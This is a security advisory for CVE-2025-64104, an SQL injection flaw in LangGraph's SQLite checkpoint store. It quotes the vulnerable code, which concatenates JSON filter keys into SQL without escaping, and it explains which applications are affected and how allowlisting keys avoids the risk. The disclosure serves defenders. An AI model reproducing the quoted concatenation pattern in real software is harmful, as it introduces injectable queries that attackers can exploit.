CVE-2025-64104 — langgraph-checkpoint-sqli…

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
